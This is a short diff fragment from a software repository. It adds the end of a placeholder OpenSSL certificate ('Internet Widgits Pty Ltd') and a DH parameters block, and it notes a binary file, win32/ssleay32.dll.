+cyBQdHkgTHRkMB4XDTA4MTIwNzEwMjUyMloXDTE4MTIwNTEwMjUyMlowRTELMAkG
+A1UEBhMCQVUxEzARBgNVBAgTClNvbWUtU3RhdGUxITAfBgNVBAoTGEludGVybmV0
+IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
+AMDjWizj+xHXoKo0bkCkg187x5hTGXwbn44RC4TY6OSrC+Inh4TEhgnElest9oc4
+akeZb01YmkHs/sYXOfDWUbvjlIBIaHUQVv7wDo6c/8XTM+R2ghIT9xPVtaZIrVbH
+kvAea64CaNQXwhmotXz2r9Z7rT6tio+7zMtuPoOOtC6J3+pZ9XYuGkyEbQKl7VFO
+kRaTyT9+T5Al20yuuTvByUscbf17X6HsxwlOflCMJmRmMeOlAVs4NyHyumxj0oh1
+N6XYk6JdLjD7fxlCvseDcmSePyJrDQInEcDAXY2uMsBylyXoR4FwbYbFSB2y9tcf
+uIm7IPXlTP14qE1erVtyK3cCAwEAATANBgkqhkiG9w0BAQQFAAOCAQEAW4yZdqpB
+oIdiuXRosr86Sg9FiMg/cn+2OwQ0QIaA8ZBwKsc+wIIHEgXCS8J6316BGQeUvMD+
+plNe0r4GWzzmlDMdobeQ5arPRB89qd9skE6pAMdLg3FyyfEjz3A0VpskolW5VBMr
+P5R7uJ1FLgH12RyAjZCWYcCRqEMOffqvyMCH6oAjyDmQOA5IssRKX/HsHntSH/HW
+W7slTcP45ty1b44Nq22/ubYk0CJRQgqKOIQ3cLgPomN1jNFQbAbfVTaK1DpEysrQ
+5V8a8gNW+3sVZmV6d1Mj3pN2Le62wUKuV2g6BNU7iiwcoY8HI68aRxz2hVMS+t5f
+SEGI4JSxV56lYg==
+-----END CERTIFICATE-----
+-----BEGIN DH PARAMETERS-----
+MEYCQQD+ef8hZ4XbdoyIpJyCTF2UrUEfX6mYDvxuS5O1UNYcslUqlj6JkA11e/yS
+6DK8Z86W6mSj5CEk4IjbyEOECXH7AgEC
+-----END DH PARAMETERS-----

BIN
win32/ssleay32.dll